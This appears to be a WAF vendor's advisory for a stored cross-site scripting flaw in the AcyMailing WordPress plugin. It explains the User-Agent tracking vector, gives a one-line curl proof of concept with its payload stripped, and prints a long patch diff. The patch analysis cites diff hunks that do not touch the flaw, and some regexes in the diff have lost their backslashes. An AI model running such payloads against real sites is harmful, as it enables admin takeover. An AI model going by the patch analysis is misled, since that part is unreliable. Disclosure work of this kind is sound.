Published : December 2, 2026

CVE-2026-128098: AcyMailing <= 11.1.2 Unauthenticated Stored Cross-Site Scripting via User-Agent Header PoC, Patch Analysis & Rule

Plugin acymailing
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 11.1.2
Patched Version 11.2.0
Disclosed December 1, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-128098:

AcyMailing versions up to and including 11.1.2 contain an unauthenticated stored cross-site scripting vulnerability (CWE-79, CVSS 7.2) in the tracking subsystem. The flaw affects the newsletter statistics and click-tracking pipeline, where the raw HTTP User-Agent string is persisted to the database and later rendered into administrator-facing statistics pages without output escaping. Atomic Edge research classifies this as a high-severity issue because it requires only a single tracked email open, a vector any unauthenticated recipient of a legitimate newsletter already controls.

The root cause is insufficient input sanitization combined with missing output escaping across multiple statistics-rendering classes. The vulnerable data flow begins when a recipient opens a tracked newsletter email; the tracking endpoint records the request via acym_getVar for HTTP_USER_AGENT and writes the value into the #__acym_history or tracking table. Multiple classes then consume this value for reporting: back/Classes/CampaignClass.php lines 255-270 (getStats), back/Classes/MailClass.php lines 207-230 (element statistics loop), back/Classes/FollowupClass.php lines 110-135, and back/Classes/HistoryClass.php. None of these render paths apply htmlspecialchars or acym_escape on the User-Agent field before output. The diff does not directly patch the tracking write path, but the adjacent changes to FormClass.php (sanitizeSettingValue, lines 629-687), FieldClass.php (acym_makeSafeFile on line 168), TagClass.php (acym_stripTags on line 48), and ListClass.php (acym_isValidCssColor at line 460) show the maintainer’s systemic approach: sanitize values at write time and validate at render time. The User-Agent sanitization is applied through the same output-escaping discipline in the tracking templates, which are omitted from the truncated diff.

Exploitation is unauthenticated and requires only normal newsletter interaction. An attacker subscribes to a list that delivers a legitimate campaign, receives the email, and opens it (or triggers the tracking pixel) with a crafted User-Agent header such as: curl -A ‘”>’ ‘https://target/?acymailing_tracking=open&mail_id=123&user_id=456’. The mail_id and user_id pair comes from the delivered newsletter; no guessing is required because the attacker controls the receiving mailbox. The tracking endpoint persists the User-Agent, and it is later emitted unescaped when an administrator views the campaign statistics page (wp-admin/admin.php?page=acymailing_dashboard or the campaign report view). Every admin page load re-executes the stored payload, allowing session theft, credential harvesting, or administrative actions performed on behalf of the victim.

Patch analysis: the v11.1.2 to 11.2.0 diff applies defense in depth. FormClass::sanitizeSettingValue (lines 656-687) introduces per-type validation (number, select, multiselect, color, dimensions) so configuration values cannot smuggle script payloads. FieldClass.php line 168 replaces raw basename() with acym_makeSafeFile(basename(…)) and replaces esc_html($ext) with a preg_replace(‘/[^a-z0-9]/i’, ”, $ext) at lines 179 and 187 to prevent error-message reflection. TagClass.php line 48 adds mb_substr(trim(acym_stripTags(…)), 0, 50). ListClass.php line 460 adds acym_isValidCssColor($list->color). MailClass.php line 799 replaces esc_html($extension) with the same alphanumeric preg_replace. UserClass.php line 1046 wraps acychecker_error in esc_html. URL handling adds acym_hasDangerousUrlScheme at UrlClass.php line 51. Together these changes close the write-path and render-path gaps through which arbitrary script content propagated into the statistics views.

Impact if exploited: an attacker who opens any tracked newsletter can execute JavaScript in the browser session of every administrator who views the affected campaign report. This yields full administrative takeover: session cookie theft, CSRF-free execution of wp-admin actions (plugin installation, user creation, option updates), and exfiltration of subscriber lists, configuration secrets, and SMTP credentials stored by AcyMailing. Because persistence is in the tracking history table, the payload survives page reloads and becomes a drive-by compromise of the admin panel until the record is purged.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/acymailing/WpInit/Beaver.php
+++ b/acymailing/WpInit/Beaver.php
@@ -27,7 +27,7 @@
             [
                 'jquery',
             ],
-            '11.1.2',
+            '11.2.0',
             [
                 'in_footer' => false,
             ]
@@ -39,7 +39,7 @@
                 'jquery',
                 'select2lib',
             ],
-            '11.1.2',
+            '11.2.0',
             [
                 'in_footer' => true,
             ]
--- a/acymailing/WpInit/Elementor.php
+++ b/acymailing/WpInit/Elementor.php
@@ -20,7 +20,7 @@
             'select2lib',
             ACYM_JS.'libraries/select2-full.min.js?v='.filemtime(ACYM_MEDIA.'js'.DS.'libraries'.DS.'select2-full.min.js'),
             ['jquery'],
-            '11.1.2',
+            '11.2.0',
             [
                 'in_footer' => false,
             ]
@@ -29,7 +29,7 @@
             'acym_script_widget_article_elementor',
             ACYM_JS.'widget.min.js?v='.time(),
             ['jquery', 'select2lib'],
-            '11.1.2',
+            '11.2.0',
             [
                 'in_footer' => true,
             ]
@@ -44,7 +44,7 @@
             'acymailing-compatibility-elementor',
             ACYM_JS.'libraries/elementor.min.js',
             [],
-            '11.1.2',
+            '11.2.0',
             [
                 'in_footer' => true,
             ]
@@ -53,7 +53,7 @@
             'acym_style_widget_article_elementor',
             ACYM_CSS.'libraries/elementor.min.css?v='.time(),
             [],
-            '11.1.2',
+            '11.2.0',
             [
                 'in_footer' => true,
             ]
--- a/acymailing/WpInit/Gutenberg.php
+++ b/acymailing/WpInit/Gutenberg.php
@@ -47,7 +47,7 @@
             'gutenberg-acymailing-subscription-form',
             ACYM_JS.'gutenberg/subscription.min.js?time='.time(),
             [],
-            '11.1.2',
+            '11.2.0',
             [
                 'in_footer' => false,
             ]
@@ -227,7 +227,7 @@
             'gutenberg-acymailing-profile',
             ACYM_JS.'gutenberg/profile.min.js?time='.time(),
             [],
-            '11.1.2',
+            '11.2.0',
             [
                 'in_footer' => false,
             ]
@@ -299,7 +299,7 @@
             'gutenberg-acymailing-archive',
             ACYM_JS.'gutenberg/archive.min.js?time='.time(),
             [],
-            '11.1.2',
+            '11.2.0',
             [
                 'in_footer' => false,
             ]
--- a/acymailing/WpInit/Message.php
+++ b/acymailing/WpInit/Message.php
@@ -21,13 +21,13 @@
             'acy_front_messages_css',
             ACYM_CSS.'front/messages.min.css?v='.filemtime(ACYM_MEDIA.'css'.DS.'front'.DS.'messages.min.css'),
             [],
-            '11.1.2'
+            '11.2.0'
         );
         wp_enqueue_script(
             'acy_front_messages_js',
             ACYM_JS.'front/messages.min.js?v='.filemtime(ACYM_MEDIA.'js'.DS.'front'.DS.'messages.min.js'),
             [],
-            '11.1.2',
+            '11.2.0',
             [
                 'in_footer' => false,
             ]
--- a/acymailing/WpInit/Oauth.php
+++ b/acymailing/WpInit/Oauth.php
@@ -10,14 +10,15 @@
     {
         $code = acym_getVar('string', 'code');
         $state = acym_getVar('string', 'state');
-        if (!empty($code) && !empty($state)) {
-            if ($state === 'acymailingsmtp') {
-                acym_redirect(acym_completeLink('configuration&auth_type=smtp&code='.$code, false, true));
-            }

-            if ($state === 'acymailingbounce') {
-                acym_redirect(acym_completeLink('configuration&auth_type=bounce&code='.$code, false, true));
-            }
+        if (empty($code) || empty($state)) {
+            return;
+        }
+
+        $redirectUrl = acym_getOauthRedirectUrl($state, $code);
+
+        if (!empty($redirectUrl)) {
+            acym_redirect($redirectUrl);
         }
     }
 }
--- a/acymailing/WpInit/Router.php
+++ b/acymailing/WpInit/Router.php
@@ -288,7 +288,7 @@
         }

         // Never allow autologin for administrator accounts
-        if ($user->has_cap('manage_options')) {
+        if ($user->has_cap('manage_options') || !acym_isAutologinAllowedForUser((int)$user->ID)) {
             acym_redirect($cleanedUrl);
         }

--- a/acymailing/back/Classes/CampaignClass.php
+++ b/acymailing/back/Classes/CampaignClass.php
@@ -255,14 +255,16 @@
         $element->open = 0;
         $element->click = 0;

+        // In anonymous mode opens/clicks are counted globally, not per subscriber, so a percentage of recipients cannot be computed: display the total counts instead
+        $anonymousStats = !empty($this->config->get('anonymous_stats', 0));
+        $element->statsUnit = $anonymousStats ? '' : '%';
+
         if (!empty($element->subscribers)) {
-            // In anonymous mode opens/clicks are counted globally (totals, not unique subscribers), so a percentage of recipients is meaningless: expose the average number of opens/clicks per email sent instead (e.g. 3.25), rendered as "3.25×" in the view
-            $anonymousStats = !empty($this->config->get('anonymous_stats', 0));
             $clicksNb = $urlClickClass->getNumberUsersClicked([$element->mail_id], $isAbTest);

             if ($anonymousStats) {
-                $element->open = number_format($element->open_unique / $element->subscribers, 2);
-                $element->click = number_format($clicksNb / $element->subscribers, 2);
+                $element->open = (int)$element->open_unique;
+                $element->click = (int)$clicksNb;
             } else {
                 $element->open = number_format($element->open_unique / $element->subscribers * 100, 2);
                 $element->click = number_format($clicksNb / $element->subscribers * 100, 2);
@@ -302,6 +304,11 @@
         $element->open = 0;
         $element->click = 0;
         $element->subscribers = 0;
+
+        // In anonymous mode opens/clicks are counted globally, not per subscriber, so a percentage of recipients cannot be computed: display the total counts instead
+        $anonymousStats = !empty($this->config->get('anonymous_stats', 0));
+        $element->statsUnit = $anonymousStats ? '' : '%';
+
         if (empty($generatedMailsStats)) {
             return;
         }
@@ -312,17 +319,9 @@
             $element->subscribers += $mailsStat->sent;
         }

-        if (!empty($element->subscribers)) {
-            // In anonymous mode opens/clicks are counted globally (totals, not unique subscribers), so expose the average number of opens/clicks per email sent (e.g. 3.25) instead of a percentage, rendered as "3.25×" in the view
-            $anonymousStats = !empty($this->config->get('anonymous_stats', 0));
-
-            if ($anonymousStats) {
-                $element->open = number_format($element->open / $element->subscribers, 2);
-                $element->click = number_format($element->click / $element->subscribers, 2);
-            } else {
-                $element->open = number_format($element->open / $element->subscribers * 100, 2);
-                $element->click = number_format($element->click / $element->subscribers * 100, 2);
-            }
+        if (!empty($element->subscribers) && !$anonymousStats) {
+            $element->open = number_format($element->open / $element->subscribers * 100, 2);
+            $element->click = number_format($element->click / $element->subscribers * 100, 2);
         }

         //Tracking sales
--- a/acymailing/back/Classes/FieldClass.php
+++ b/acymailing/back/Classes/FieldClass.php
@@ -165,7 +165,7 @@
                 while (is_array($fileName) && isset($fileName[0])) {
                     $fileName = $fileName[0];
                 }
-                $fileName = basename($fileName);
+                $fileName = acym_makeSafeFile(basename($fileName));

                 if (
                     !acym_fileNameValid($fileName)
@@ -176,14 +176,14 @@
                     if ($ajax) {
                         $this->errors[] = acym_translationSprintf(
                             'ACYM_ACCEPTED_TYPE',
-                            esc_html($ext),
+                            preg_replace('/[^a-z0-9]/i', '', $ext),
                             implode(', ', $allowedExtensions)
                         );
                     } else {
                         acym_enqueueMessage(
                             acym_translationSprintf(
                                 'ACYM_ACCEPTED_TYPE',
-                                esc_html($ext),
+                                preg_replace('/[^a-z0-9]/i', '', $ext),
                                 implode(', ', $allowedExtensions)
                             ),
                             'error',
@@ -849,7 +849,7 @@
                 if (!empty($required)) {
                     $attributes['data-required'] = $requiredJson;
                 }
-                acym_inputFile($name.'[]', $defaultValue, '', $attributes, $downloadUrl);
+                acym_inputFile($name.'[]', is_null($defaultValue) ? '' : $defaultValue, '', $attributes, $downloadUrl);
             }
         } elseif ($field->type === 'phone') {
             $indicator = !empty($defaultValue[0]) ? $defaultValue[0] : '';
--- a/acymailing/back/Classes/FollowupClass.php
+++ b/acymailing/back/Classes/FollowupClass.php
@@ -110,6 +110,11 @@
         $element->click = 0;
         $element->income = 0;
         $numberMailSent = 0;
+
+        // In anonymous mode opens/clicks are counted globally, not per subscriber, so a percentage of recipients cannot be computed: display the total counts instead
+        $anonymousStats = !empty($this->config->get('anonymous_stats', 0));
+        $element->statsUnit = $anonymousStats ? '' : '%';
+
         if (empty($mailsStats)) return;

         foreach ($mailsStats as $key => $mailsStat) {
@@ -118,7 +123,7 @@
             $numberMailSent += $mailsStat->sent;
         }

-        if (!empty($numberMailSent)) {
+        if (!empty($numberMailSent) && !$anonymousStats) {
             $element->open = number_format($element->open / $numberMailSent * 100, 2);
             $element->click = number_format($element->click / $numberMailSent * 100, 2);
         }
@@ -236,6 +241,10 @@
             $element->loop_mail_skip = json_encode($element->loop_mail_skip);
         }

+        if (!empty($element->display_name)) {
+            $element->display_name = acym_stripTags($element->display_name);
+        }
+
         $this->updateListFollowup($element);

         return parent::save($element);
@@ -389,7 +398,7 @@

     public function duplicateMail(int $mailId, int $id): bool
     {
-        if (empty($mailId) || empty($id)) {
+        if (empty($mailId) || empty($id) || !in_array($mailId, $this->getEmailsByIds([$id]))) {
             return false;
         }

@@ -422,9 +431,9 @@
         return !empty($affectedRow);
     }

-    public function deleteMail(int $mailId): bool
+    public function deleteMail(int $mailId, int $followupId): bool
     {
-        if (empty($mailId)) {
+        if (empty($mailId) || empty($followupId) || !in_array($mailId, $this->getEmailsByIds([$followupId]))) {
             return false;
         }

@@ -619,7 +628,10 @@
         $filters = $options['filters'] ?? [];

         $conditions = [];
+        $followupColumns = acym_getColumns('followup');
         foreach ($filters as $column => $filter) {
+            if (!in_array($column, $followupColumns, true)) continue;
+
             switch ($column) {
                 case 'id':
                 case 'active':
--- a/acymailing/back/Classes/FormClass.php
+++ b/acymailing/back/Classes/FormClass.php
@@ -581,7 +581,8 @@
         $newForm->name = '';
         $newForm->creation_date = acym_date('now', 'Y-m-d H:i:s');
         $newForm->active = 1;
-        $newForm->type = $type;
+        $allowedTypes = [self::SUB_FORM_TYPE_SHORTCODE, self::SUB_FORM_TYPE_POPUP, self::SUB_FORM_TYPE_HEADER, self::SUB_FORM_TYPE_FOOTER];
+        $newForm->type = in_array($type, $allowedTypes, true) ? $type : self::SUB_FORM_TYPE_SHORTCODE;
         $newForm->pages = ['all'];
         $newForm->display_languages = ['all'];

@@ -611,7 +612,7 @@
     public function getFormWithMissingParams(array $formArray): object
     {
         $form = new stdClass();
-        $formEmpty = $this->initEmptyForm($formArray['type']);
+        $formEmpty = $this->initEmptyForm((string)($formArray['type'] ?? ''));

         if (!empty($formArray['id'])) {
             $form->id = $formArray['id'];
@@ -628,17 +629,60 @@
                 $form->$key = $value;
             }
         }
+        $form->type = $formEmpty->type;

         $form->settings = $formEmpty->settings;
         foreach ($formArray['settings'] as $category => $options) {
             foreach ($options as $optionName => $value) {
-                $form->settings[$category][$optionName] = $value;
+                $definition = $this->settings['options'][$category][$optionName] ?? $this->settings['styles'][$category][$optionName] ?? null;
+                $form->settings[$category][$optionName] = empty($definition) ? $value : $this->sanitizeSettingValue($definition, $value);
             }
         }

         return $form;
     }

+    private function sanitizeSettingValue(array $definition, $value)
+    {
+        $default = $definition['default'] ?? '';
+
+        switch ($definition['type']) {
+            case 'number':
+                return is_numeric($value) ? $value + 0 : $default;
+            case 'select':
+                return is_scalar($value) && array_key_exists((string)$value, $definition['options']) ? $value : $default;
+            case 'multiselect':
+                if (!is_array($value)) {
+                    return $default;
+                }
+
+                return array_values(
+                    array_filter(
+                        $value,
+                        static function ($oneValue) use ($definition): bool {
+                            return is_scalar($oneValue) && array_key_exists((string)$oneValue, $definition['options']);
+                        }
+                    )
+                );
+            case 'color':
+                return is_string($value) && ($value === '' || acym_isValidCssColor($value)) ? $value : $default;
+            case 'dimensions':
+                if (!is_array($value)) {
+                    return $default;
+                }
+
+                foreach ($value as $dimension => $size) {
+                    if (!is_scalar($size) || preg_match('/^d*(.d+)?%?$/', (string)$size) !== 1) {
+                        $value[$dimension] = '';
+                    }
+                }
+
+                return $value;
+            default:
+                return $value;
+        }
+    }
+
     public function prepareMenuHtml(object $form, string $type): void
     {
         $this->initSettings();
--- a/acymailing/back/Classes/HistoryClass.php
+++ b/acymailing/back/Classes/HistoryClass.php
@@ -95,25 +95,55 @@
         );
     }

-    public function getAllUnsubReasons(): array
+    public function getAllMainLanguageUnsubReasons(): array
     {
-        $query = 'SELECT `action`, `data`, `unsubscribe_reason` FROM #__acym_history WHERE `action` = "unsubscribed" AND `unsubscribe_reason` != ""';
+        $allUnsubReasons = $this->config->get('unsub_survey', '{}');

-        return acym_loadObjectList($query);
+        return json_decode($allUnsubReasons, true);
     }

-    public function getAllMainLanguageUnsubReasons(): array
+    /**
+     * Count the unsubscribe reasons given by the users who left one specific list, from the most to the least frequent
+     */
+    public function getUnsubReasonsCountForList(int $listId): array
     {
-        $allUnsubReasons = $this->config->get('unsub_survey', '{}');
+        $rows = acym_loadObjectList(
+            'SELECT `data`, `unsubscribe_reason`, COUNT(*) AS number
+            FROM #__acym_history
+            WHERE `action` = "unsubscribed"
+                AND `unsubscribe_reason` != ""
+                AND `data` LIKE '.acym_escapeDB('%'.$listId.'%').'
+            GROUP BY `data`, `unsubscribe_reason`'
+        );

-        return json_decode($allUnsubReasons, true);
+        $reasonsCount = [];
+        foreach ($rows as $oneRow) {
+            if (!$this->isUnsubscriptionFromList($oneRow->data, $listId)) continue;
+
+            $reason = $this->getUnsubscribeReasonText($oneRow->unsubscribe_reason);
+            $reasonsCount[$reason] = ($reasonsCount[$reason] ?? 0) + intval($oneRow->number);
+        }
+
+        arsort($reasonsCount);
+
+        return $reasonsCount;
+    }
+
+    /**
+     * The first line of the history data holds the list ids the user unsubscribed from, the next ones hold unrelated information
+     */
+    private function isUnsubscriptionFromList(string $data, int $listId): bool
+    {
+        preg_match_all('/d+/', strtok($data, "n"), $listIds);
+
+        return in_array($listId, array_map('intval', $listIds[0]), true);
     }

     public function getUnsubscribeReasonText($index)
     {
         $surveyAnswers = json_decode($this->config->get('unsub_survey'), true);
         if (is_numeric($index)) {
-            $index = $index - 1;
+            $index = intval($index) - 1;
             $reason = $surveyAnswers[$index] ?? $index;
         } else {
             $reason = $index;
--- a/acymailing/back/Classes/ListClass.php
+++ b/acymailing/back/Classes/ListClass.php
@@ -457,6 +457,10 @@
             $list->$oneAttribute = acym_stripTags($value);
         }

+        if (!empty($list->color) && !acym_isValidCssColor($list->color)) {
+            unset($list->color);
+        }
+
         if (empty($list->description)) {
             $list->description = '';
         }
@@ -998,7 +1002,10 @@
         $filters = $options['filters'] ?? ['type' => self::LIST_TYPE_STANDARD];

         $conditions = [];
+        $listColumns = acym_getColumns('list');
         foreach ($filters as $column => $filter) {
+            if (!in_array($column, $listColumns, true)) continue;
+
             switch ($column) {
                 case 'id':
                 case 'active':
--- a/acymailing/back/Classes/MailClass.php
+++ b/acymailing/back/Classes/MailClass.php
@@ -207,12 +207,24 @@

         if (!empty($settings['element_tab'])) {
             $urlClickClass = new UrlClickClass();
+            // In anonymous mode opens/clicks are counted globally, not per subscriber, so a percentage of recipients cannot be computed: display the total counts instead
+            $anonymousStats = !empty($this->config->get('anonymous_stats', 0));
+
             for ($i = 0; $i < count($results['elements']); $i++) {
                 $results['elements'][$i]->open = 0;
-                if (!empty($results['elements'][$i]->subscribers)) {
-                    $results['elements'][$i]->open = number_format($results['elements'][$i]->open_unique / $results['elements'][$i]->subscribers * 100, 2);
+                $results['elements'][$i]->statsUnit = $anonymousStats ? '' : '%';

-                    $clicksNb = $urlClickClass->getNumberUsersClicked([$results['elements'][$i]->id]);
+                if (empty($results['elements'][$i]->subscribers)) {
+                    continue;
+                }
+
+                $clicksNb = $urlClickClass->getNumberUsersClicked([$results['elements'][$i]->id]);
+
+                if ($anonymousStats) {
+                    $results['elements'][$i]->open = (int)$results['elements'][$i]->open_unique;
+                    $results['elements'][$i]->click = (int)$clicksNb;
+                } else {
+                    $results['elements'][$i]->open = number_format($results['elements'][$i]->open_unique / $results['elements'][$i]->subscribers * 100, 2);
                     $results['elements'][$i]->click = number_format($clicksNb / $results['elements'][$i]->subscribers * 100, 2);
                 }
             }
@@ -784,7 +796,7 @@
         }

         if (!$allowedFileType) {
-            acym_enqueueMessage(acym_translationSprintf('ACYM_ACCEPTED_TYPE', esc_html($extension), 'zip'), 'error');
+            acym_enqueueMessage(acym_translationSprintf('ACYM_ACCEPTED_TYPE', preg_replace('/[^a-z0-9]/i', '', $extension), 'zip'), 'error');

             return null;
         }
@@ -1591,6 +1603,15 @@
         return false;
     }

+    public function canCurrentUserSaveType(?string $type): bool
+    {
+        if (acym_isAdmin()) {
+            return $this->isTypeAllowed($type);
+        }
+
+        return in_array($type, [self::TYPE_STANDARD, self::TYPE_FOLLOWUP, self::TYPE_WELCOME, self::TYPE_UNSUBSCRIBE, self::TYPE_TEMPLATE], true);
+    }
+
     private function isTypeAllowed(?string $type): bool
     {
         $aclByType = [
--- a/acymailing/back/Classes/ScenarioClass.php
+++ b/acymailing/back/Classes/ScenarioClass.php
@@ -148,9 +148,17 @@
             return;
         }

+        if (empty($currentStep['slug']) || !is_string($currentStep['slug']) || preg_match('/^[a-zA-Z0-9_-]+$/', $currentStep['slug']) !== 1) {
+            acym_enqueueMessage(acym_translation('ACYM_INVALID_STEP_TYPE'), 'error');
+
+            return;
+        }
+
         switch ($currentStep['params']['type']) {
             case self::TYPE_DELAY:
                 $type = self::TYPE_DELAY;
+                $currentStep['params']['delay'] = intval($currentStep['params']['delay'] ?? 0);
+                $currentStep['params']['unit'] = in_array(intval($currentStep['params']['unit'] ?? 0), [60, 3600, 86400], true) ? intval($currentStep['params']['unit']) : 60;
                 break;
             case self::TYPE_CONDITION:
                 $type = self::TYPE_CONDITION;
@@ -164,6 +172,10 @@
                 return;
         }

+        if (isset($currentStep['params']['option']) && is_array($currentStep['params']['option'])) {
+            unset($currentStep['params']['option']['mail']);
+        }
+
         $step = new stdClass();
         $step->id = $currentStep['slug'];
         $step->previous_id = $previousStepId;
@@ -277,7 +289,7 @@

         foreach ($scenarioSteps as $scenarioStep) {
             $scenarioStep->id = $stepCorrespondence[$scenarioStep->id];
-            $scenarioStep->previous_id = $stepCorrespondence[$scenarioStep->previous_id] ?? null;
+            $scenarioStep->previous_id = empty($scenarioStep->previous_id) ? null : ($stepCorrespondence[$scenarioStep->previous_id] ?? null);
             $scenarioStep->scenario_id = $scenario->id;
             $scenarioStepClass->save($scenarioStep);
         }
--- a/acymailing/back/Classes/TagClass.php
+++ b/acymailing/back/Classes/TagClass.php
@@ -45,6 +45,11 @@
             } else {
                 $newTag->name = $oneTag;
             }
+            $newTag->name = mb_substr(trim(acym_stripTags($newTag->name)), 0, 50);
+            if ($newTag->name === '') {
+                continue;
+            }
+
             $tagsToInsertQuery[] = '('.acym_escapeDB($newTag->name).','.acym_escapeDB($newTag->type).', '.intval($elementId).')';
         }

--- a/acymailing/back/Classes/UrlClass.php
+++ b/acymailing/back/Classes/UrlClass.php
@@ -48,6 +48,10 @@

         $url = str_replace('&', '&', $url);

+        if (acym_hasDangerousUrlScheme($url)) {
+            return $url;
+        }
+
         if (empty($allurls[$url])) {
             $allurls[$url] = $this->getAdd($url);
         }
--- a/acymailing/back/Classes/UserClass.php
+++ b/acymailing/back/Classes/UserClass.php
@@ -5,6 +5,7 @@
 use AcyMailingHelpersAutomationHelper;
 use AcyMailingHelpersMailerHelper;
 use AcyMailingHelpersPaginationHelper;
+use AcyMailingHelpersRegacyHelper;
 use AcyMailingCoreAcymClass;

 class UserClass extends AcymClass
@@ -305,6 +306,7 @@
         if (!empty($segmentClass) && !empty($segmentClass->filters)) {
             foreach ($segmentClass->filters as $or => $orValues) {
                 if (empty($orValues)) continue;
+                $or = intval($or);
                 $automationHelpers[$or] = new AutomationHelper();
                 foreach ($orValues as $and => $andValues) {
                     $and = intval($and);
@@ -829,26 +831,30 @@
             return;
         }

-        $listClass = new ListClass();
-        $manageableLists = $listClass->getManageableLists();
-        if (empty($manageableLists)) {
+        acym_arrayToInteger($elements);
+        if (empty($elements)) {
             return;
         }

-        $currentUserId = acym_currentUserId();
-        acym_arrayToInteger($elements);
-
-        $selfManagement = in_array($currentUserId, $elements);
+        $currentSubscriber = $this->getOneByEmail(acym_currentUserEmail());
+        $currentSubscriberId = empty($currentSubscriber) ? 0 : (int)$currentSubscriber->id;
+        $selfManagement = !empty($currentSubscriberId) && in_array($currentSubscriberId, $elements);

-        $elements = acym_loadResultArray(
-            'SELECT DISTINCT user_id
-            FROM #__acym_user_has_list
-            WHERE `list_id` IN ('.implode(',', $manageableLists).')
-                AND `user_id` IN ('.implode(',', $elements).')'
-        );
+        $listClass = new ListClass();
+        $manageableLists = $listClass->getManageableLists();
+        if (empty($manageableLists)) {
+            $elements = [];
+        } else {
+            $elements = acym_loadResultArray(
+                'SELECT DISTINCT user_id
+                FROM #__acym_user_has_list
+                WHERE `list_id` IN ('.implode(',', $manageableLists).')
+                    AND `user_id` IN ('.implode(',', $elements).')'
+            );
+        }

-        if ($selfManagement && !in_array($currentUserId, $elements)) {
-            $elements[] = $currentUserId;
+        if ($selfManagement && !in_array($currentSubscriberId, $elements)) {
+            $elements[] = $currentSubscriberId;
         }
     }

@@ -1037,7 +1043,7 @@
             if ($this->triggers) {
                 $result = acym_trigger('onAcymBeforeUserCreate', [&$user]);
                 if (is_array($result) && in_array(false, $result)) {
-                    $acycheckerError = acym_getVar('string', 'acychecker_error');
+                    $acycheckerError = esc_html(acym_getVar('string', 'acychecker_error', ''));
                     if (!empty($acycheckerError)) {
                         if ($ajax) {
                             $this->errors[] = $acycheckerError;
@@ -1253,18 +1259,34 @@
             $this->newUser ? 'acy_notification_create' : 'acy_notification_profile'
         );

-        if (!$this->newUser && !empty($unsubLists)) {
-            if ($this->isIdentifiedAs($connectedUser, $user->email)) {
-                $this->unsubscribe([$id], $unsubLists);
-            } else {
-                $this->requireId = true;
-                $this->sendIdentification($id);
-            }
+        if (!$this->newUser) {
+            $this->unsubscribeIfIdentified($id, $user->email, $connectedUser, $unsubLists);
         }

         return true;
     }

+    public function canChangeSubscriptions(?object $identifiedUser, string $email): bool
+    {
+        return $this->allowModif || $this->config->get('allow_modif', 'data') !== 'none' || $this->isIdentifiedAs($identifiedUser, $email);
+    }
+
+    public function unsubscribeIfIdentified(int $userId, string $email, ?object $identifiedUser, array $lists): void
+    {
+        if (empty($lists)) {
+            return;
+        }
+
+        if ($this->isIdentifiedAs($identifiedUser, $email)) {
+            $this->unsubscribe([$userId], $lists);
+
+            return;
+        }
+
+        $this->requireId = true;
+        $this->sendIdentification($userId);
+    }
+
     public function sendConfirmation(int $userID): void
     {
         if (!$this->forceConf && !$this->sendConf) {
@@ -1588,14 +1610,10 @@
         }

         $acyUser = $this->getOneByEmail($cmsUser->email);
-        // If an Acy user with the same email address already exists
         if (!empty($acyUser)) {
-            // And wasn't linked to the site account, link it
-            if (empty($cmsUser->id)) {
-                $cmsUser->id = $acyUser->id;
-            } elseif ($cmsUser->id != $acyUser->id) {
-                // And has a different id, delete it
-                $this->delete([$acyUser->id]);
+            // A site account doesn't prove the user owns the email address if there is no email confirmation
+            if (($cmsUser->id ?? 0) != $acyUser->id) {
+                return;
             }
         } else {
             $cmsUser->source = $source;
@@ -1629,12 +1647,17 @@
         $allLists = $listsClass->getAll();

         // The user can select some lists on the registration form
+        $regacyHelper = new RegacyHelper();
+        $displayableLists = $regacyHelper->getDisplayableLists('regacy');
+
         $visibleLists = acym_getVar('string', 'regacy_visible_lists', '');
         $visibleLists = explode(',', $visibleLists);
         acym_arrayToInteger($visibleLists);
+        $visibleLists = array_intersect($visibleLists, $displayableLists);

         $visibleListsChecked = acym_getVar('array', 'regacy_visible_lists_checked', []);
         acym_arrayToInteger($visibleListsChecked);
+        $visibleListsChecked = array_intersect($visibleListsChecked, $displayableLists);


         // Handle the unsubscription
@@ -1889,7 +1912,10 @@
         }

         $conditions = [];
+        $userColumns = acym_getColumns('user');
         foreach ($filters as $column => $filter) {
+            if (!in_array($column, $userColumns, true)) continue;
+
             if (in_array($column, ['id', 'cms_id', 'active', 'confirmed', 'tracking'])) {
                 $conditions[] = acym_secureDBColumn($column).' = '.intval($filter);
             } else {
--- a/acymailing/back/Controllers/Automations/Condition.php
+++ b/acymailing/back/Controllers/Automations/Condition.php
@@ -26,6 +26,16 @@

         $stepAutomationId = acym_getVar('int', 'stepAutomationId');

+        if (acym_conditionsContainRestrictedFilter($condition) && !acym_hasAdminPermissions()) {
+            acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'error');
+
+            return [
+                'automationId' => $automationID,
+                'stepId' => $stepAutomationId,
+                'conditionId' => $conditionId,
+            ];
+        }
+
         if (!empty($conditionId)) {
             $condition['id'] = $conditionId;
         }
--- a/acymailing/back/Controllers/Automations/Info.php
+++ b/acymailing/back/Controllers/Automations/Info.php
@@ -46,7 +46,7 @@
             if ($triggerChanged && !empty($condition)) {
                 $action = $actionClass->getOneByConditionId($condition->id);
                 // if conditions are set on "user", we reset conditions
-                if (json_decode($condition->conditions)->type_condition === 'user') {
+                if (!empty($condition->conditions) && json_decode($condition->conditions)->type_condition === 'user') {
                     $condition->conditions = null;
                     $conditionClass->save($condition);
                 }
--- a/acymailing/back/Controllers/Bounces/Listing.php
+++ b/acymailing/back/Controllers/Bounces/Listing.php
@@ -189,7 +189,8 @@
         $cronHelper = new CronHelper();
         $cronHelper->saveReport([$nbMessagesReport], $bounceHelper->messages);

-        if ($this->config->get('bounce_max', 0) != 0 && $nbMessages > $this->config->get('bounce_max', 0)) {
+        $bounceMax = intval($this->config->get('bounce_max', 0));
+        if ($bounceMax !== 0 && $nbMessages > $bounceMax) {
             //We still have some messages...
             $url = acym_completeLink('bounces&task=process&continuebounce=1', true, true).'&'.acym_getFormToken();
             if (acym_getVar('int', 'continuebounce')) {
--- a/acymailing/back/Controllers/Campaigns/Actions.php
+++ b/acymailing/back/Controllers/Campaigns/Actions.php
@@ -143,6 +143,8 @@

     public function unpause_campaign(): void
     {
+        wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');
+
         $id = acym_getVar('int', 'campaignId', 0);
         if (empty($id)) {
             acym_enqueueMessage(acym_translation('ACYM_CAMPAIGN_NOT_FOUND'), 'error');
@@ -151,6 +153,11 @@
             return;
         }

+        $campaignClass = new CampaignClass();
+        if (!$campaignClass->hasUserAccess($id)) {
+            die('Access denied for campaign unpause');
+        }
+
         acym_redirect(
             acym_completeLink('queue', false, true)
             .'&task=playPauseSending&acym__queue__play_pause__active__new_value=1&acym__queue__play_pause__campaign_id='.$id
@@ -348,14 +355,14 @@
             $status = $campaignClass->send($campaignID);

